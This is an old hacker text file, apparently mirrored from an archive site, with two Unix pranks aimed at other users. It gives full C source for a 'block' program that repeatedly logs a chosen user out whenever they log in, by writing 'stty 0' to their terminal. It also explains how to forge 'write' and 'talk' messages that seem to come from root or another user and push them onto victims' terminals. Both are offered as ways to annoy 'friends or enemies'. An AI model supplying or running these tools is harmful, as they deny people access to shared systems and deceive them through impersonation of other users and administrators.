home *** CD-ROM | disk | FTP | other *** search
- Unix - Odds & Ends
-
- -- ------- ----- --- --- ------
- 1. Keeping Users Off The System
- -- ------- ----- --- --- ------
-
- Now, we all know by now how to log users off (one way is to redirect
- an 'stty 0' command to their tty) but unless you have root privs, this
- will not work when a user has set 'mesg n' and prevented other users from
- writing to their terminal. But even users who have a 'mesg n' command in
- their .login (or .profile or .cshrc) file still have a window of vulnerability,
- the time between login and the locking of their terminal. I designed the
- following program, block.c, to take advantage of this fact.
-
- To get this source running on your favorite Unix system, upload it,
- call it 'block.c', and type the following at the % or $ prompt:
-
- cc -o block block.c
-
- once you've compiled it successfully, it is invoked like so:
-
- block username [&]
-
- The & is optional and recommended - it runs the program in the background,
- thus letting you do other things while it's at work.
-
- If the user specified is logged in at present, it immediately logs
- them out (if possible) and waits for them to log in. If they aren't logged
- in, it starts waiting for them. If the user is presently logged in but
- has their messages off, you'll have to wait until they've logged out to
- start the thing going.
-
- Block is essentially an endless loop : it keeps checking for the occurence
- of the username in /etc/utmp. When it finds it, it immediately logs them
- out and continues. If for some reason the logout attempt fails, the program
- aborts. Normally this won't happen - the program is very quick when run
- unmodified. However, to get such performance, it runs in a very tight
- loop and will eat up a lot of CPU time. Notice that near the end of the
- program there is the line:
-
- /*sleep(SLEEP) */
-
- the /* and */ are comment delimiters - right now the line is commented
- out. If you remove the comments and re-compile the program, it will then
- 'go to sleep' for the number of seconds defined in SLEEP (default is 5)
- at the end of every loop. This will save the system load but will slightly
- decrease the odds of catching the user during their 'window of vulnerability.'
-
- If you have a chance to run this program at a computer lab at a school or
- somewhere similar, run this program on a friend (or an enemy) and watch
- the reaction on their face when they repeatedly try to log in and are
- logged out before they can do *anything*. It is quite humorous. This
- program is also quite nasty and can make you a lot of enemies!
-
- caveat #1: note that if you run the program on yourself, you will be logged
- out, the program will continue to run (depending on the shell you're under)
- and you'll have locked yourself out of the system - so don't do this!
-
- caveat #2: I wrote this under OSx version 4.0, which is a licensed version
- of Unix which implements 4.3bsd and AT&T sysV. No guarantees that it will
- work on your system.
-
- caveat #3: If you run this program in background, don't forget to kill
- it when you're done with it! (when you invoke it with '&', the shell will
- give you a job number, such as '[2] 90125'. If you want to kill it later
- in the same login session, type 'kill %2'. If you log in later and want
- to kill it, type 'kill 90125'. Just read the man page on the kill command
- if you need any help...
-
- ----- cut here -----
-
- /* block.c -- prevent a user from logging in
- * by Shooting Shark
- * usage : block username [&]
- * I suggest you run this in background.
- */
-
- #include <stdio.h>
- #include <utmp.h>
- #include <ctype.h>
- #include <termio.h>
- #include <fcntl.h>
-
- #define W_OK2
- #define SLEEP5
- #define UTMP"/etc/utmp"
- #define TTY_PRE "/dev/"
-
- main(ac,av)
- int ac;
- char *av[];
- {
- int target, fp, open();
- struct utmpuser;
- struct termio*opts;
- char buf[30], buf2[50];
-
- if (ac != 2) {
- printf("usage : %s username\n",av[0]);
- exit(-1);
- }
-
-
- for (;;) {
-
- if ((fp = open(UTMP,0)) == -1) {
- printf("fatal error! cannot open %s.\n",UTMP);
- exit(-1);
- }
-
-
- while (read(fp, &user, sizeof user) > 0) {
- if (isprint(user.ut_name[0])) {
- if (!(strcmp(user.ut_name,av[1]))) {
-
- printf("%s is logging in...",user.ut_name);
- sprintf(buf,"%s%s",TTY_PRE,user.ut_line);
- printf("%s\n",buf);
- if (access(buf,W_OK) == -1) {
- printf("failed - program aborting.\n");
- exit(-1);
- }
- else {
- if ((target = open(buf,O_WRONLY)) != EOF) {
- sprintf(buf2,"stty 0 > %s",buf);
- system(buf2);
- printf("killed.\n");
- sleep(10);
- }
-
- } /* else */
- } /* if strcmp */
- } /* if isprint */
- } /* while */
- close(fp);
-
- /*sleep(SLEEP); */
-
- } /* for */
-
-
-
-
-
- }
-
- ----- cut here -----
-
-
- -- ------------- ----- ----- ---- ------ --- ------
- 2. Impersonating other users with 'write' and 'talk'
- -- ------------- ----- ----- ---- ------ --- ------
-
- This next trick wasn't exactly a work of stupefying genius, but is a
- little trick (that anybody can do) that I sometimes use to amuse myself
- and, as with the above, annoy the hell out of my friends and enemies.
-
- Nearly every Unix system has the 'write' program, for conversing with
- other logged-in users. As a quick summary:
-
- If you see that user 'clara' is logged in with the 'who' or 'w' command
- or whatever, and you wish to talk to her for some reason or another,
- you'd type 'write clara'. Clara then would see on her screen something
- like this (given that you are username 'shark'):
-
-
- [3 ^G's] Message from shark on ttyi13 at 23:14 ...
-
- You then type away at her, and whatever you type is sent to her terminal
- line-by-line. If she wanted to make it a conversation rather than a
- monologue, she'd type 'write shark,' you'd get a message similar to the above
- on your terminal, and the two of you would type away at each other to your
- little heart's content. If either one of you wanted to end the conversation,
- you would type a ^D. They would then see the characters 'EOF' on their
- screen, but they'd still be 'write'ing to you until they typed a ^D as well.
-
- Now, if you're on a bigger installation you'll probably have some sort
- of full-screen windowing chat program like 'talk'. My version of talk
- sends the following message:
-
- Message from Talk_Daemon@tibsys at 23:14 ...
- talk: connection requested by shark@tibsys.
- talk: respond with: talk shark@tibsys
-
- Anyway, here's where the fun part begins: It's quite easy to put a sample
- 'write' or 'talk' message into a file and then edit so that the 'from'
- is a different person, and the tty is listed differently. If you see that
- your dorky friend roger is on ttyi10 and the root also happens to be
- logged on on ttyi01, make the file look something like this:
-
- [3 control-G's] Message from root on ttyi01 at [the current time]
-
- wackawackawackawackawacka!!!
-
- [or a similarly confusing or rude message...]
-
- EOF
-
- Then, send this file to roger's terminal with:
-
- cat filename > /dev/ttyi10
-
- He'll get the message on his terminal and wonder what the hell the
- superuser is talking about. He might even 'write' back to the superuser
- with the intent of asking 'what the hell are you talking about?'. For
- maximum effectiveness, *simultaneously* send a message to root 'from'
- roger at the appropriate terminal with an equally strange message - they'll
- then engage in a conversation that will go something like "what did you
- mean by that?" "what do you mean, what do I mean? What did *you* mean
- by that?" etc. A splendid time is guaranteed for all! Note that you don't
- have to make 'root' the perpetrator of the gag, any two currently logged-in
- users who have their terminals open for messages can join in on the fun.
-
- Similarly, you can fake a few 'talk' pages from/to two people...they will
- then probably start talking...although the conversation will be along the
- lines of "what do you want?" "you tell me." "you paged me, you tell *me."
- etcetera, while you laugh yourself silly or something like that.
-
- A variation on the theme: As I said, when using 'write' you type a ^D to
- end the conversation, and the person you're typing at sees an 'EOF' on
- their screen. But you could also just *type* 'EOF', and they'd think
- you've quit...but you still have an open line to their terminal. Even
- if they later turn messages off, you still have the ability to write to
- their terminal. Keeping this fact in mind, anybody who knows what they're
- doing can write a program similar to my 'block' program above that doesn't
- log a user out when they appear on the system, but opens their tty as
- a device and keeps the file handle in memory so you can redirect to their
- terminal - to write rude messages or to log them out or whatever - at any
- time, until they log out.
-
-